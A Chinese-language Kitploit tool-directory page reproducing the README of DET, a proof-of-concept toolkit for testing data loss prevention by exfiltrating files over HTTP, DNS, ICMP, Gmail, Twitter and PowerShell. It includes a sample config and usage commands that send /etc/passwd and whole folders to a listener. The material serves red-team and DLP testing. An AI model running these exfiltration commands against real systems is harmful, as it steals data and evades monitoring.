Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DET — (可扩展的) 数据外泄工具包 (DET) | Kitploit
工具/GitHubGitHub/sensepost/det
加密/解密工具数据泄露网络安全渗透测试红队DNS 分析
GitHubsensepost/det

DET

(可扩展的) 数据外泄工具包 (DET)

查看仓库
8211908年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

DET(可扩展)数据外泄工具包

DET(按原样提供)是一个概念验证,用于通过单个或多个通道同时执行数据外泄。

这是一个概念验证,旨在识别可能的DLP漏洞。绝不应将其用于外泄敏感/实时数据(例如在评估中)。

其思路是创建一个通用工具包,以接入任何类型的协议/服务,测试已实施的网络监控和数据泄漏防护(DLP)解决方案配置对不同数据外泄技术的反应。

主仓库现已移至此处。

幻灯片

DET已于2016年3月9日在BSides Ljubljana上展示,幻灯片将在此处提供。 幻灯片可在此处获取:此处。

使用示例(ICMP插件)

服务端:

asciicast

客户端:

asciicast

组合两个通道(Gmail/Twitter)的使用示例

服务端:

asciicast

客户端:

asciicast

安装

克隆仓库:

root@kitploit:~
git clone https://github.com/sensepost/DET.git

然后:

root@kitploit:~
pip install -r requirements.txt --user

配置

要使用DET,你需要配置它并添加正确的设置(例如SMTP/IMAP、AES256加密短语等)。已提供一个配置示例文件,名为:config-sample.json

root@kitploit:~
{
    "plugins": {
        "http": {
            "target": "192.168.1.101",
            "port": 8080
        },
        "google_docs": {
            "target": "192.168.1.101",
            "port": 8080,
        },
        "dns": {
            "key": "google.com",
            "target": "192.168.1.101",
            "port": 53
        },
        "gmail": {
            "username": "[email protected]",
            "password": "ReallyStrongPassword",
            "server": "smtp.gmail.com",
            "port": 587
        },
        "tcp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "udp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "twitter": {
            "username": "PaulWebSec",
            "CONSUMER_TOKEN": "XXXXXXXXX",
            "CONSUMER_SECRET": "XXXXXXXXX",
            "ACCESS_TOKEN": "XXXXXXXXX",
            "ACCESS_TOKEN_SECRET": "XXXXXXXXX"
        },
        "icmp": {
            "target": "192.168.1.101"
        }
    },
    "AES_KEY": "THISISACRAZYKEY",
    "sleep_time": 10
}

使用

帮助使用

root@kitploit:~
python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
              [-L]

Data Exfiltration Toolkit (SensePost)

optional arguments:
  -h, --help  show this help message and exit
  -c CONFIG   Configuration file (eg. '-c ./config-sample.json')
  -f FILE     File to exfiltrate (eg. '-f /etc/passwd')
  -d FOLDER   Folder to exfiltrate (eg. '-d /etc/')
  -p PLUGIN   Plugins to use (eg. '-p dns,twitter')
  -e EXCLUDE  Plugins to exclude (eg. '-e gmail,icmp')
  -L          Server mode

服务端:

加载所有插件:

root@kitploit:~
python det.py -L -c ./config.json

仅加载 twitter 和 gmail 模块:

root@kitploit:~
python det.py -L -c ./config.json -p twitter,gmail

加载所有插件并排除 DNS:

root@kitploit:~
python det.py -L -c ./config.json -e dns

客户端:

加载所有插件:

root@kitploit:~
python det.py -c ./config.json -f /etc/passwd

仅加载 twitter 和 gmail 模块:

root@kitploit:~
python det.py -c ./config.json -p twitter,gmail -f /etc/passwd

加载所有插件并排除 DNS:

root@kitploit:~
python det.py -c ./config.json -e dns -f /etc/passwd

以及在 PowerShell 中(HTTP 模块):

root@kitploit:~
PS C:\Users\user01\Desktop>
PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'

模块

目前,DET 支持多种协议,列出如下:

  • HTTP(S)
  • ICMP
  • DNS
  • SMTP/IMAP(例如 Gmail)
  • Raw TCP
  • PowerShell 实现(HTTP、DNS、ICMP、SMTP(与 Gmail 配合使用))

以及其他“服务”:

  • Google Docs(无身份验证)
  • Twitter(私信)

实验性模块

目前,我正在实现即将发布的新模块,包括:

  • Skype(完成95%)
  • Tor(完成80%)
  • Github(完成30-40%)

路线图

  • 添加合适的加密(例如 AES-256)感谢 ryanohoro
  • 压缩(极其重要!)感谢 chokepoint
  • 适当的数据混淆并集成 Cloakify Toolset
  • FTP、FlickR LSB 隐写术 和 Youtube 模块

参考

一些非常酷的参考/致谢,我从以下项目中获得了灵感:

  • https://github.com/nullbind/Powershellery/ 来源 Nullbind。
  • https://github.com/ytisf/PyExfil,非常棒。
  • https://github.com/m57/dnsteal 来源 m57。
  • https://github.com/3nc0d3r/NaishoDeNusumu 来源 3nc0d3r。
  • https://github.com/glennzw/exphil 来源 Glenn Wilkinson。
  • WebExfile 来源 Saif El-Sherei

联系/贡献

你可以在 Twitter @PaulWebSec 上找到我。 如果你愿意贡献,欢迎 clone、fork、提交 PR 等。

许可证

DET 采用 MIT 许可证。 超出此许可证范围的权限可通过 [email protected] 获取。

下载工具